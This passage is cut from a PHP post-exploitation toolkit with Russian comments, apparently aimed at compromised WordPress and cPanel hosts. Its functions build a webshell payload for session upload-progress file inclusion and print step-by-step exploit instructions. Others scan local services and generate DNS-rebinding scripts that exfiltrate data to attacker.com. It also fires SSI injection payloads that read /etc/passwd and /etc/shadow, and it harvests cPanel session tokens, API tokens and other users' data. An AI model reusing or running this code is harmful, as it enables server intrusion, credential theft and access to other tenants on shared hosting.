// Проверка доступных функций
$shm_functions = array('shmop_open', 'shmop_read', 'shmop_write', 'shmop_size', 'shmop_close', 'shmop_delete',
'shm_attach', 'shm_get_var', 'shm_put_var', 'shm_remove', 'shm_detach',
'sem_get', 'sem_acquire', 'sem_release', 'msg_get_queue', 'msg_send', 'msg_receive');
foreach ($shm_functions as $func) {
if (function_exists($func)) {
$results['functions_available'][] = $func;
}
}
if (empty($results['functions_available'])) {
$results['message'] = 'No shared memory functions available';
return $results;
}
// Попытка чтения известных сегментов памяти
$common_keys = array(0xDEADBEEF, 0xCAFEBABE, 12345, 54321, 9999, 1234, 5678, 11111, 22222, 33333);
// Для shmop
if (function_exists('shmop_open')) {
foreach ($common_keys as $key) {
// Пробуем открыть существующий сегмент для чтения
$shmid = @shmop_open($key, "a", 0, 0);
if ($shmid !== false) {
$size = @shmop_size($shmid);
$data = @shmop_read($shmid, 0, min($size, 1024));
$results['segments_found'][] = array(
'key' => '0x' . dechex($key),
'key_dec' => $key,
'size' => $size,
'data_preview' => substr($data, 0, 100),
'hex_preview' => bin2hex(substr($data, 0, 50)),
'method' => 'shmop'
);
@shmop_close($shmid);
}
}
// Тест создания нового сегмента
$test_key = ftok(__FILE__, 't');
$test_shmid = @shmop_open($test_key, "c", 0644, 100);
if ($test_shmid !== false) {
$results['exploits']['can_create_segment'] = true;
@shmop_write($test_shmid, "test_data", 0);
@shmop_delete($test_shmid);
@shmop_close($test_shmid);
}
}
// Для shm_attach (System V)
if (function_exists('shm_attach')) {
foreach ($common_keys as $key) {
$shm = @shm_attach($key, 1024, 0644);
if ($shm !== false) {
// Попытка прочитать переменные
for ($i = 0; $i < 10; $i++) {
$var = @shm_get_var($shm, $i);
if ($var !== false) {
$results['segments_found'][] = array(
'key' => '0x' . dechex($key),
'variable_index' => $i,
'value' => is_string($var) ? substr($var, 0, 100) : print_r($var, true),
'method' => 'shm_attach'
);
}
}
@shm_detach($shm);
}
}
}
// Проверка /dev/shm
if (@is_dir('/dev/shm')) {
$shm_files = @scandir('/dev/shm');
if ($shm_files) {
$results['dev_shm_files'] = array();
foreach ($shm_files as $file) {
if ($file === '.' || $file === '..') continue;
$full_path = '/dev/shm/' . $file;
$results['dev_shm_files'][] = array(
'name' => $file,
'path' => $full_path,
'readable' => @is_readable($full_path),
'writable' => @is_writable($full_path),
'size' => @filesize($full_path)
);
}
}
}
return $results;
}
/**
* Эксплуатация session.upload_progress
*/
function session_upload_progress_attack() {
$results = array(
'config' => array(),
'vulnerable' => false,
'attack_vector' => null,
'session_file' => null
);
// Проверка конфигурации
$results['config'] = array(
'session.upload_progress.enabled' => ini_get('session.upload_progress.enabled'),
'session.upload_progress.cleanup' => ini_get('session.upload_progress.cleanup'),
'session.upload_progress.prefix' => ini_get('session.upload_progress.prefix'),
'session.upload_progress.name' => ini_get('session.upload_progress.name'),
'session.upload_progress.freq' => ini_get('session.upload_progress.freq'),
'session.upload_progress.min_freq' => ini_get('session.upload_progress.min_freq'),
'session.save_path' => ini_get('session.save_path'),
'session.serialize_handler' => ini_get('session.serialize_handler')
);
$upload_progress_enabled = ini_get('session.upload_progress.enabled');
$cleanup_enabled = ini_get('session.upload_progress.cleanup');
if ($upload_progress_enabled) {
$results['vulnerable'] = true;
// Получаем или создаем сессию
if (session_status() !== PHP_SESSION_ACTIVE) {
@session_start();
}
$session_id = session_id();
// Генерация POST запроса для атаки
$progress_name = ini_get('session.upload_progress.name');
if (!$progress_name) $progress_name = 'PHP_SESSION_UPLOAD_PROGRESS';
$boundary = '----WebKitFormBoundary' . uniqid();
$payload = '<?php system($_GET["c"]); ?>';
$post_data = "--{$boundary}\r\n";
$post_data .= "Content-Disposition: form-data; name=\"{$progress_name}\"\r\n\r\n";
$post_data .= $payload . "\r\n";
$post_data .= "--{$boundary}\r\n";
$post_data .= "Content-Disposition: form-data; name=\"file\"; filename=\"test.txt\"\r\n";
$post_data .= "Content-Type: text/plain\r\n\r\n";
$post_data .= str_repeat("A", 1024 * 1024) . "\r\n"; // 1MB для замедления
$post_data .= "--{$boundary}--\r\n";
$results['attack_vector'] = array(
'session_id' => $session_id,
'progress_name' => $progress_name,
'content_type' => 'multipart/form-data; boundary=' . $boundary,
'cookie' => 'PHPSESSID=' . $session_id,
'post_data_preview' => substr($post_data, 0, 500) . '...',
'cleanup_enabled' => $cleanup_enabled,
'race_condition_needed' => $cleanup_enabled ? true : false
);
// Проверка файла сессии
$session_path = ini_get('session.save_path');
if (!$session_path) $session_path = sys_get_temp_dir();
if (@is_dir($session_path)) {
$session_file = rtrim($session_path, '/') . '/sess_' . $session_id;
$results['session_file'] = array(
'path' => $session_file,
'exists' => @file_exists($session_file),
'readable' => @is_readable($session_file),
'writable' => @is_writable($session_file),
'dir_writable' => @is_writable($session_path)
);
if (@is_readable($session_file)) {
$results['session_file']['content'] = @file_get_contents($session_file);
}
// Проверка других сессий
$sessions = @glob($session_path . '/sess_*');
if ($sessions) {
$results['other_sessions'] = array(
'count' => count($sessions),
'sample' => array_slice($sessions, 0, 5)
);
}
}
// Инструкции для эксплуатации
$results['exploit_instructions'] = array(
'1. Send POST request with large file to trigger upload progress',
'2. Set Cookie: PHPSESSID=' . $session_id,
'3. Include ' . $progress_name . ' field with PHP payload',
'4. Use LFI to include session file: ' . ($results['session_file']['path'] ?: '/tmp/sess_' . $session_id),
'5. If cleanup enabled, need race condition (multiple requests)'
);
}
return $results;
}
/**
* Атаки через OPcache
*/
function opcache_attacks() {
$results = array(
'config' => array(),
'status' => null,
'cached_files' => array(),
'exploits' => array()
);
// Проверка конфигурации OPcache
$results['config'] = array(
'opcache.enable' => ini_get('opcache.enable'),
'opcache.enable_cli' => ini_get('opcache.enable_cli'),
'opcache.validate_timestamps' => ini_get('opcache.validate_timestamps'),
'opcache.revalidate_freq' => ini_get('opcache.revalidate_freq'),
'opcache.file_cache' => ini_get('opcache.file_cache'),
'opcache.file_cache_only' => ini_get('opcache.file_cache_only'),
'opcache.restrict_api' => ini_get('opcache.restrict_api'),
'opcache.memory_consumption' => ini_get('opcache.memory_consumption'),
'opcache.max_accelerated_files' => ini_get('opcache.max_accelerated_files')
);
$opcache_enabled = ini_get('opcache.enable');
if ($opcache_enabled) {
// Получение статуса OPcache
if (function_exists('opcache_get_status')) {
$status = @opcache_get_status(false);
if ($status) {
$results['status'] = array(
'opcache_enabled' => isset($status['opcache_enabled']) ? $status['opcache_enabled'] : false,
'cache_full' => isset($status['cache_full']) ? $status['cache_full'] : false,
'restart_pending' => isset($status['restart_pending']) ? $status['restart_pending'] : false,
'restart_in_progress' => isset($status['restart_in_progress']) ? $status['restart_in_progress'] : false,
'memory_usage' => isset($status['memory_usage']) ? $status['memory_usage'] : array(),
'interned_strings_usage' => isset($status['interned_strings_usage']) ? $status['interned_strings_usage'] : array()
);
// Получение кешированных скриптов
$full_status = @opcache_get_status(true);
if ($full_status && isset($full_status['scripts'])) {
$scripts = $full_status['scripts'];
$results['cached_files']['count'] = count($scripts);
$results['cached_files']['sample'] = array();
$count = 0;
foreach ($scripts as $path => $info) {
if ($count++ >= 20) break;
$results['cached_files']['sample'][] = array(
'path' => $path,
'hits' => isset($info['hits']) ? $info['hits'] : 0,
'memory_consumption' => isset($info['memory_consumption']) ? $info['memory_consumption'] : 0,
'timestamp' => isset($info['timestamp']) ? date('Y-m-d H:i:s', $info['timestamp']) : ''
);
}
}
}
}
// Проверка file_cache
$file_cache = ini_get('opcache.file_cache');
if ($file_cache && @is_dir($file_cache)) {
$results['exploits']['file_cache'] = array(
'path' => $file_cache,
'writable' => @is_writable($file_cache),
'files' => @glob($file_cache . '/*')
);
}
// Проверка возможности инвалидации
if (function_exists('opcache_invalidate')) {
$test_file = __FILE__;
$results['exploits']['can_invalidate'] = @opcache_invalidate($test_file, false);
}
// Проверка возможности сброса
if (function_exists('opcache_reset')) {
$results['exploits']['reset_available'] = true;
}
// Проверка возможности компиляции
if (function_exists('opcache_compile_file')) {
$results['exploits']['compile_available'] = true;
}
// Exploit vector: перезапись кешированного файла
if (!ini_get('opcache.validate_timestamps') || ini_get('opcache.revalidate_freq') > 0) {
$results['exploits']['race_condition_possible'] = array(
'validate_timestamps' => ini_get('opcache.validate_timestamps'),
'revalidate_freq' => ini_get('opcache.revalidate_freq'),
'description' => 'Can replace cached file and wait for revalidation'
);
}
}
return $results;
}
/**
* Проверка возможности использования eBPF и namespaces
*/
function advanced_kernel_attacks() {
$results = array(
'user_namespace' => array(),
'ebpf' => array(),
'overlayfs' => array(),
'kernel_info' => array(),
'capabilities' => array()
);
// Информация о ядре
$results['kernel_info'] = array(
'release' => php_uname('r'),
'version' => php_uname('v'),
'machine' => php_uname('m')
);
// Проверка возможности создания user namespace
if (function_exists('posix_getuid')) {
$results['user_namespace']['posix_available'] = true;
$results['user_namespace']['current_uid'] = posix_getuid();
$results['user_namespace']['current_euid'] = posix_geteuid();
// Проверка /proc/sys/kernel/unprivileged_userns_clone
$userns_file = '/proc/sys/kernel/unprivileged_userns_clone';
if (@is_readable($userns_file)) {
$results['user_namespace']['unprivileged_userns_clone'] = trim(@file_get_contents($userns_file));
}
// Проверка /proc/sys/user/max_user_namespaces
$max_userns = '/proc/sys/user/max_user_namespaces';
if (@is_readable($max_userns)) {
$results['user_namespace']['max_user_namespaces'] = trim(@file_get_contents($max_userns));
}
}
// Проверка eBPF
$ebpf_paths = array(
'/sys/kernel/debug/tracing/' => 'tracing',
'/sys/fs/bpf/' => 'bpf_fs',
'/proc/sys/kernel/unprivileged_bpf_disabled' => 'bpf_disabled'
);
foreach ($ebpf_paths as $path => $name) {
if (@file_exists($path)) {
$info = array(
'path' => $path,
'exists' => true,
'readable' => @is_readable($path),
'writable' => @is_writable($path)
);
if ($name === 'bpf_disabled' && @is_readable($path)) {
$info['value'] = trim(@file_get_contents($path));
}
if (@is_dir($path) && @is_readable($path)) {
$files = @scandir($path);
$info['contents_count'] = $files ? count($files) - 2 : 0;
}
$results['ebpf'][$name] = $info;
}
}
// Проверка OverlayFS
$mounts = @file_get_contents('/proc/mounts');
if ($mounts) {
$overlay_mounts = array();
foreach (explode("\n", $mounts) as $line) {
if (strpos($line, 'overlay') !== false) {
$overlay_mounts[] = $line;
}
}
$results['overlayfs']['mounts'] = $overlay_mounts;
$results['overlayfs']['mounted'] = !empty($overlay_mounts);
}
// Проверка capabilities текущего процесса
$cap_file = '/proc/self/status';
if (@is_readable($cap_file)) {
$status = @file_get_contents($cap_file);
if (preg_match('/CapInh:\s*([0-9a-f]+)/i', $status, $m)) {
$results['capabilities']['CapInh'] = $m[1];
}
if (preg_match('/CapPrm:\s*([0-9a-f]+)/i', $status, $m)) {
$results['capabilities']['CapPrm'] = $m[1];
}
if (preg_match('/CapEff:\s*([0-9a-f]+)/i', $status, $m)) {
$results['capabilities']['CapEff'] = $m[1];
}
if (preg_match('/CapBnd:\s*([0-9a-f]+)/i', $status, $m)) {
$results['capabilities']['CapBnd'] = $m[1];
}
if (preg_match('/CapAmb:\s*([0-9a-f]+)/i', $status, $m)) {
$results['capabilities']['CapAmb'] = $m[1];
}
}
// Проверка seccomp
if (@is_readable($cap_file)) {
if (preg_match('/Seccomp:\s*(\d+)/', $status, $m)) {
$results['seccomp'] = array(
'mode' => $m[1],
'description' => $m[1] == '0' ? 'Disabled' : ($m[1] == '1' ? 'Strict' : 'Filter')
);
}
}
// Известные уязвимости ядра для проверки
$results['kernel_vulns_to_check'] = array(
'CVE-2021-3493' => 'OverlayFS privilege escalation (< 5.11)',
'CVE-2021-22555' => 'Netfilter heap OOB write (< 5.12)',
'CVE-2022-0847' => 'Dirty Pipe (5.8 - 5.16.11)',
'CVE-2022-2588' => 'route4 UAF (< 5.19)',
'CVE-2023-0386' => 'OverlayFS (< 6.2)',
'CVE-2023-32233' => 'Netfilter nf_tables (< 6.4)'
);
return $results;
}
/**
* DNS Rebinding подготовка
*/
function dns_rebinding_prepare() {
$results = array(
'local_services' => array(),
'dns_rebinding_payloads' => array(),
'internal_ips' => array()
);
// Определение внутренних IP
$internal_ips = array('127.0.0.1', 'localhost');
// Добавляем IP сервера
if (!empty($_SERVER['SERVER_ADDR'])) {
$internal_ips[] = $_SERVER['SERVER_ADDR'];
}
// Проверка Docker bridge
$docker_ip = '172.17.0.1';
if (@fsockopen($docker_ip, 80, $errno, $errstr, 0.5)) {
$internal_ips[] = $docker_ip;
}
$results['internal_ips'] = array_unique($internal_ips);
// Сканирование локальных портов
$common_ports = array(
80 => 'HTTP',
443 => 'HTTPS',
3306 => 'MySQL',
5432 => 'PostgreSQL',
6379 => 'Redis',
27017 => 'MongoDB',
11211 => 'Memcached',
8080 => 'HTTP-ALT',
9000 => 'PHP-FPM',
9200 => 'Elasticsearch'
);
$open_ports = array();
foreach ($internal_ips as $host) {
foreach ($common_ports as $port => $service) {
$fp = @fsockopen($host, $port, $errno, $errstr, 0.3);
if ($fp) {
$open_ports[] = array(
'host' => $host,
'port' => $port,
'service' => $service
);
@fclose($fp);
}
}
}
$results['local_services'] = $open_ports;
// Генерация DNS Rebinding payloads
foreach ($open_ports as $service) {
$target = $service['host'] . ':' . $service['port'];
$results['dns_rebinding_payloads'][] = array(
'target' => $target,
'service' => $service['service'],
'html_payload' => '<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://your-rebind-domain.com:' . $service['port'] . '/", true);
xhr.onreadystatechange = function() {
if (xhr.readyState == 4) {
new Image().src = "http://attacker.com/steal?data=" + btoa(xhr.responseText);
}
};
xhr.send();
</script>',
'fetch_payload' => 'fetch("http://your-rebind-domain.com:' . $service['port'] . '/").then(r=>r.text()).then(d=>fetch("http://attacker.com/steal?d="+btoa(d)))'
);
}
return $results;
}
/**
* Поиск и атака на дополнительные демоны
*/
function find_and_attack_daemons() {
$results = array(
'daemons_found' => array(),
'open_ports' => array(),
'config_files' => array(),
'socket_files' => array()
);
// Сканирование расширенного списка портов
$daemon_ports = array(
3000 => 'Node.js/Express',
3001 => 'Node.js/React Dev',
4000 => 'GraphQL',
5000 => 'Flask/Gunicorn',
5001 => 'Flask Dev',
8000 => 'Django/Python',
8001 => 'Django Alt',
8080 => 'Tomcat/Jenkins',
8081 => 'HTTP Proxy',
8443 => 'HTTPS Alt',
9000 => 'PHP-FPM',
9001 => 'Supervisor',
9090 => 'Prometheus',
9200 => 'Elasticsearch HTTP',
9300 => 'Elasticsearch Transport',
27017 => 'MongoDB',
28017 => 'MongoDB Web',
6379 => 'Redis',
11211 => 'Memcached',
5984 => 'CouchDB',
5986 => 'CouchDB Admin',
15672 => 'RabbitMQ Management',
5672 => 'RabbitMQ AMQP',
8161 => 'ActiveMQ Web',
61613 => 'ActiveMQ STOMP',
61614 => 'ActiveMQ WS',
2375 => 'Docker API',
2376 => 'Docker TLS',
10250 => 'Kubernetes kubelet',
10255 => 'Kubernetes kubelet read-only'
);
$open_ports = array();
foreach ($daemon_ports as $port => $service) {
$fp = @fsockopen('127.0.0.1', $port, $errno, $errstr, 0.3);
if ($fp) {
// Попытка определить сервис
@fwrite($fp, "GET / HTTP/1.0\r\nHost: localhost\r\n\r\n");
@stream_set_timeout($fp, 1);
$response = @fread($fp, 2048);
@fclose($fp);
$detected_service = $service;
if (strpos($response, 'redis') !== false) $detected_service = 'Redis';
elseif (strpos($response, 'MongoDB') !== false) $detected_service = 'MongoDB';
elseif (strpos($response, 'Elasticsearch') !== false) $detected_service = 'Elasticsearch';
elseif (strpos($response, 'Docker') !== false) $detected_service = 'Docker API';
elseif (strpos($response, 'Express') !== false || strpos($response, 'node') !== false) $detected_service = 'Node.js';
elseif (strpos($response, 'nginx') !== false) $detected_service = 'Nginx';
elseif (strpos($response, 'Apache') !== false) $detected_service = 'Apache';
$open_ports[] = array(
'port' => $port,
'expected_service' => $service,
'detected_service' => $detected_service,
'response_preview' => substr($response, 0, 300),
'response_length' => strlen($response)
);
}
}
$results['open_ports'] = $open_ports;
// Поиск конфигурационных файлов
$config_patterns = array(
'/etc/redis/redis.conf' => 'Redis',
'/etc/redis.conf' => 'Redis',
'/etc/mongod.conf' => 'MongoDB',
'/etc/mongodb.conf' => 'MongoDB',
'/etc/elasticsearch/elasticsearch.yml' => 'Elasticsearch',
'/etc/rabbitmq/rabbitmq.config' => 'RabbitMQ',
'/etc/memcached.conf' => 'Memcached',
'/etc/docker/daemon.json' => 'Docker',
'/var/lib/redis/dump.rdb' => 'Redis Data',
'/etc/supervisor/supervisord.conf' => 'Supervisor',
'/etc/supervisord.conf' => 'Supervisor'
);
$found_configs = array();
foreach ($config_patterns as $config => $service) {
if (@file_exists($config)) {
$found_configs[] = array(
'path' => $config,
'service' => $service,
'readable' => @is_readable($config),
'writable' => @is_writable($config),
'size' => @filesize($config),
'preview' => @is_readable($config) ? substr(@file_get_contents($config), 0, 500) : null
);
}
}
$results['config_files'] = $found_configs;
// Поиск Unix сокетов
$socket_patterns = array(
'/var/run/docker.sock' => 'Docker',
'/var/run/mysqld/mysqld.sock' => 'MySQL',
'/var/lib/mysql/mysql.sock' => 'MySQL',
'/tmp/mysql.sock' => 'MySQL',
'/var/run/php-fpm.sock' => 'PHP-FPM',
'/var/run/php/php-fpm.sock' => 'PHP-FPM',
'/var/run/php/php7.4-fpm.sock' => 'PHP-FPM 7.4',
'/var/run/php/php8.0-fpm.sock' => 'PHP-FPM 8.0',
'/var/run/php/php8.1-fpm.sock' => 'PHP-FPM 8.1',
'/var/run/php/php8.2-fpm.sock' => 'PHP-FPM 8.2',
'/var/run/redis/redis.sock' => 'Redis',
'/tmp/redis.sock' => 'Redis',
'/var/run/memcached/memcached.sock' => 'Memcached'
);
foreach ($socket_patterns as $socket => $service) {
if (@file_exists($socket)) {
$results['socket_files'][] = array(
'path' => $socket,
'service' => $service,
'readable' => @is_readable($socket),
'writable' => @is_writable($socket),
'type' => filetype($socket)
);
}
}
return $results;
}
/**
* Проверка CORS уязвимостей
*/
function cors_vulnerability_check($target_url) {
$results = array();
if (!$target_url) {
return array('error' => 'Target URL required');
}
// Тестовые Origin заголовки
$parsed = parse_url($target_url);
$target_host = isset($parsed['host']) ? $parsed['host'] : '';
$test_origins = array(
'https://attacker.com',
'http://evil.com',
'null',
$target_url,
'https://' . $target_host . '.attacker.com',
'https://attacker.' . $target_host,
'http://' . $target_host,
'https://sub.' . $target_host
);
foreach ($test_origins as $origin) {
$context = stream_context_create(array(
'http' => array(
'method' => 'GET',
'header' => "Origin: {$origin}\r\nUser-Agent: Mozilla/5.0\r\n",
'timeout' => 5,
'ignore_errors' => true
),
'ssl' => array(
'verify_peer' => false,
'verify_peer_name' => false
)
));
$response = @file_get_contents($target_url, false, $context);
$headers = isset($http_response_header) ? $http_response_header : array();
$cors_headers = array();
$acao = '';
$acac = false;
foreach ($headers as $header) {
if (stripos($header, 'Access-Control-') === 0) {
$cors_headers[] = $header;
if (stripos($header, 'Access-Control-Allow-Origin:') === 0) {
$acao = trim(substr($header, strlen('Access-Control-Allow-Origin:')));
}
if (stripos($header, 'Access-Control-Allow-Credentials: true') !== false) {
$acac = true;
}
}
}
$vulnerable = false;
$severity = 'none';
$vulnerability_type = '';
// Проверка уязвимостей
if ($acao === '*') {
$vulnerable = true;
$severity = $acac ? 'critical' : 'medium';
$vulnerability_type = 'Wildcard ACAO';
} elseif ($acao === $origin && ($origin === 'https://attacker.com' || $origin === 'http://evil.com' || $origin === 'null')) {
$vulnerable = true;
$severity = $acac ? 'critical' : 'high';
$vulnerability_type = 'Reflected Origin';
} elseif ($acao === 'null' && $origin === 'null') {
$vulnerable = true;
$severity = 'high';
$vulnerability_type = 'Null Origin Allowed';
}
$results[] = array(
'origin' => $origin,
'acao' => $acao,
'acac' => $acac,
'cors_headers' => $cors_headers,
'vulnerable' => $vulnerable,
'severity' => $severity,
'vulnerability_type' => $vulnerability_type
);
}
return $results;
}
/**
* Проверка и эксплуатация SSI (Server Side Includes)
*/
function ssi_injection_check($url) {
$results = array(
'tests' => array(),
'vulnerable' => false,
'successful_payloads' => array()
);
if (!$url) {
return array('error' => 'URL required');
}
// SSI payloads
$ssi_payloads = array(
array('name' => 'include_passwd', 'payload' => '<!--#include virtual="/etc/passwd"-->', 'check' => array('root:', 'bin/bash', '/bin/sh')),
array('name' => 'include_shadow', 'payload' => '<!--#include virtual="/etc/shadow"-->', 'check' => array('root:', '$6$', '$5$', '$1$')),
array('name' => 'exec_whoami', 'payload' => '<!--#exec cmd="whoami"-->', 'check' => array('www-data', 'apache', 'nginx', 'nobody')),
array('name' => 'exec_id', 'payload' => '<!--#exec cmd="id"-->', 'check' => array('uid=', 'gid=')),
array('name' => 'echo_docname', 'payload' => '<!--#echo var="DOCUMENT_NAME"-->', 'check' => array('.php', '.html', '.shtml')),
array('name' => 'echo_date', 'payload' => '<!--#echo var="DATE_LOCAL"-->', 'check' => array(':', '/')),
array('name' => 'echo_server', 'payload' => '<!--#echo var="SERVER_SOFTWARE"-->', 'check' => array('Apache', 'nginx', 'IIS')),
array('name' => 'config_timefmt', 'payload' => '<!--#config timefmt="%Y"--><!--#echo var="DATE_LOCAL"-->', 'check' => array('202'))
);
$context = stream_context_create(array(
'http' => array(
'timeout' => 10,
'ignore_errors' => true
),
'ssl' => array(
'verify_peer' => false,
'verify_peer_name' => false
)
));
// Тестовые параметры
$test_params = array('test', 'page', 'file', 'include', 'path', 'doc', 'name', 'id');
foreach ($test_params as $param) {
foreach ($ssi_payloads as $payload_info) {
$test_url = $url . (strpos($url, '?') !== false ? '&' : '?') .
$param . '=' . urlencode($payload_info['payload']);
$response = @file_get_contents($test_url, false, $context);
if ($response !== false) {
$is_executed = false;
$matched_check = '';
foreach ($payload_info['check'] as $check) {
if (stripos($response, $check) !== false) {
$is_executed = true;
$matched_check = $check;
break;
}
}
$test_result = array(
'param' => $param,
'payload_name' => $payload_info['name'],
'payload' => $payload_info['payload'],
'response_length' => strlen($response),
'ssi_executed' => $is_executed
);
if ($is_executed) {
$test_result['matched'] = $matched_check;
$test_result['response_preview'] = substr($response, 0, 500);
$results['vulnerable'] = true;
$results['successful_payloads'][] = $test_result;
}
$results['tests'][] = $test_result;
}
}
}
return $results;
}
/**
* Комплексное выполнение всех продвинутых атак
*/
function run_all_advanced_attacks($wp_root = null) {
$results = array(
'timestamp' => date('c'),
'_errors' => array()
);
// Каждая атака обёрнута в try-catch
try { $results['ldpreload'] = bypass_disable_functions_ldpreload(); }
catch (Exception $e) { $results['_errors'][] = 'ldpreload: ' . $e->getMessage(); $results['ldpreload'] = array('error' => $e->getMessage()); }
catch (Error $e) { $results['_errors'][] = 'ldpreload: ' . $e->getMessage(); $results['ldpreload'] = array('error' => $e->getMessage()); }
try { $results['shared_memory'] = shared_memory_attacks(); }
catch (Exception $e) { $results['_errors'][] = 'shared_memory: ' . $e->getMessage(); $results['shared_memory'] = array('error' => $e->getMessage()); }
catch (Error $e) { $results['_errors'][] = 'shared_memory: ' . $e->getMessage(); $results['shared_memory'] = array('error' => $e->getMessage()); }
try { $results['session_upload'] = session_upload_progress_attack(); }
catch (Exception $e) { $results['_errors'][] = 'session_upload: ' . $e->getMessage(); $results['session_upload'] = array('error' => $e->getMessage()); }
catch (Error $e) { $results['_errors'][] = 'session_upload: ' . $e->getMessage(); $results['session_upload'] = array('error' => $e->getMessage()); }
try { $results['opcache'] = opcache_attacks(); }
catch (Exception $e) { $results['_errors'][] = 'opcache: ' . $e->getMessage(); $results['opcache'] = array('error' => $e->getMessage()); }
catch (Error $e) { $results['_errors'][] = 'opcache: ' . $e->getMessage(); $results['opcache'] = array('error' => $e->getMessage()); }
try { $results['kernel'] = advanced_kernel_attacks(); }
catch (Exception $e) { $results['_errors'][] = 'kernel: ' . $e->getMessage(); $results['kernel'] = array('error' => $e->getMessage()); }
catch (Error $e) { $results['_errors'][] = 'kernel: ' . $e->getMessage(); $results['kernel'] = array('error' => $e->getMessage()); }
try { $results['daemons'] = find_and_attack_daemons(); }
catch (Exception $e) { $results['_errors'][] = 'daemons: ' . $e->getMessage(); $results['daemons'] = array('error' => $e->getMessage()); }
catch (Error $e) { $results['_errors'][] = 'daemons: ' . $e->getMessage(); $results['daemons'] = array('error' => $e->getMessage()); }
try { $results['dns_rebinding'] = dns_rebinding_prepare(); }
catch (Exception $e) { $results['_errors'][] = 'dns_rebinding: ' . $e->getMessage(); $results['dns_rebinding'] = array('error' => $e->getMessage()); }
catch (Error $e) { $results['_errors'][] = 'dns_rebinding: ' . $e->getMessage(); $results['dns_rebinding'] = array('error' => $e->getMessage()); }
// Если указан wp_root, добавляем db_discovery
if ($wp_root && is_wp_root($wp_root)) {
try { $results['database'] = db_discovery_and_exploit($wp_root); }
catch (Exception $e) { $results['_errors'][] = 'database: ' . $e->getMessage(); $results['database'] = array('error' => $e->getMessage()); }
catch (Error $e) { $results['_errors'][] = 'database: ' . $e->getMessage(); $results['database'] = array('error' => $e->getMessage()); }
}
// Подсчёт обнаруженных возможностей
$findings = 0;
if (!empty($results['ldpreload']['ldpreload_possible'])) $findings++;
if (!empty($results['ldpreload']['alternative_methods'])) $findings += count($results['ldpreload']['alternative_methods']);
if (!empty($results['shared_memory']['segments_found'])) $findings += count($results['shared_memory']['segments_found']);
if (!empty($results['session_upload']['vulnerable'])) $findings++;
if (!empty($results['opcache']['status'])) $findings++;
if (!empty($results['kernel']['user_namespace']['can_create_namespace'])) $findings++;
if (!empty($results['daemons']['open_ports'])) $findings += count($results['daemons']['open_ports']);
if (!empty($results['daemons']['socket_files'])) $findings += count($results['daemons']['socket_files']);
$results['summary'] = array(
'total_findings' => $findings,
'risk_level' => $findings > 10 ? 'critical' : ($findings > 5 ? 'high' : ($findings > 2 ? 'medium' : 'low'))
);
return $results;
}
/* ==================== cPanel ACCESS ==================== */
/**
* Поиск cPanel сессий, токенов и методов обхода аутентификации
*/
function cpanel_access_scan() {
$results = array(
'cpanel_detected' => false,
'sessions' => array(),
'tokens' => array(),
'userdata' => array(),
'access_files' => array(),
'api_tokens' => array(),
'exploitable' => array()
);
// Определяем текущего пользователя
$current_user = function_exists('posix_getpwuid') && function_exists('posix_getuid') ?
(($u = posix_getpwuid(posix_getuid())) ? $u['name'] : null) : get_current_user();
$home_dir = getenv('HOME') ?: '/home/' . $current_user;
// Проверяем наличие cPanel
$cpanel_indicators = array(
'/usr/local/cpanel',
'/var/cpanel',
'/usr/local/cpanel/bin/cpapi',
'/home/.cpaddons',
'/scripts/cpanel'
);
foreach ($cpanel_indicators as $ind) {
if (@file_exists($ind) || @is_dir($ind)) {
$results['cpanel_detected'] = true;
break;
}
}
// ==================== СЕССИИ ====================
$session_paths = array(
'/var/cpanel/sessions/raw',
'/var/cpanel/sessions',
'/tmp/cpses.*',
$home_dir . '/.cpanel/sessions',
'/var/lib/php/sessions',
'/tmp/sess_*'
);
foreach ($session_paths as $sp) {
if (strpos($sp, '*') !== false) {
$files = @glob($sp);
if ($files) {
foreach ($files as $f) {
if (@is_readable($f)) {
$content = @file_get_contents($f);
$results['sessions'][] = array(
'path' => $f,
'size' => @filesize($f),
'mtime' => @filemtime($f),
'preview' => substr($content, 0, 500),
'has_token' => (strpos($content, 'cpsess') !== false || strpos($content, 'security_token') !== false)
);
// Ищем токены в сессии
if (preg_match('/cpsess([a-zA-Z0-9]+)/', $content, $m)) {
$results['exploitable'][] = array(
'type' => 'cpanel_session_token',
'token' => 'cpsess' . $m[1],
'source' => $f
);
}
}
}
}
} else {
if (@is_dir($sp)) {
$files = @scandir($sp);
if ($files) {
foreach ($files as $f) {
if ($f === '.' || $f === '..') continue;
$fp = $sp . '/' . $f;
if (@is_readable($fp)) {
$content = @file_get_contents($fp);
$results['sessions'][] = array(
'path' => $fp,
'size' => @filesize($fp),
'mtime' => @filemtime($fp),
'preview' => substr($content, 0, 500),
'has_token' => (strpos($content, 'cpsess') !== false)
);
}
}
}
}
}
}
// ==================== ТОКЕНЫ ====================
$token_files = array(
$home_dir . '/.cpanel/datastore',
$home_dir . '/.cpanel/nvdata',
$home_dir . '/.accesshash',
'/root/.accesshash',
'/var/cpanel/authn/api_tokens',
'/var/cpanel/api_tokens'
);
foreach ($token_files as $tf) {
if (@is_readable($tf)) {
if (@is_dir($tf)) {
$files = @scandir($tf);
if ($files) {
foreach ($files as $f) {
if ($f === '.' || $f === '..') continue;
$fp = $tf . '/' . $f;
if (@is_readable($fp)) {
$content = @file_get_contents($fp);
$results['api_tokens'][] = array(
'path' => $fp,
'content' => $content
);
if (strlen($content) > 20) {
$results['exploitable'][] = array(
'type' => 'cpanel_api_token',
'source' => $fp,
'token_preview' => substr($content, 0, 50) . '...'
);
}
}
}
}
} else {
$content = @file_get_contents($tf);
$results['tokens'][] = array(
'path' => $tf,
'content' => $content
);
if ($content && strlen($content) > 20) {
$results['exploitable'][] = array(
'type' => 'accesshash',
'source' => $tf,
'hash_preview' => substr(trim($content), 0, 50) . '...'
);
}
}
}
}
// ==================== USERDATA ====================
$userdata_paths = array(
'/var/cpanel/userdata/' . $current_user,
'/var/cpanel/users/' . $current_user
);
foreach ($userdata_paths as $up) {
if (@is_readable($up)) {
if (@is_dir($up)) {
$files = @scandir($up);
if ($files) {
foreach ($files as $f) {
if ($f === '.' || $f === '..') continue;
$fp = $up . '/' . $f;
if (@is_readable($fp) && @is_file($fp)) {
$results['userdata'][] = array(
'path' => $fp,
'content' => @file_get_contents($fp)
);
}
}
}
} else {
$results['userdata'][] = array(
'path' => $up,
'content' => @file_get_contents($up)
);
}
}
}
// ==================== ДОСТУП К СОСЕДЯМ ====================
// Ищем cPanel данные других пользователей
$all_users = @file_exists('/etc/passwd') ? users_from_passwd(200) : array();
foreach ($all_users as $user) {
if ($user === $current_user) continue;
$user_cpanel = '/var/cpanel/users/' . $user;
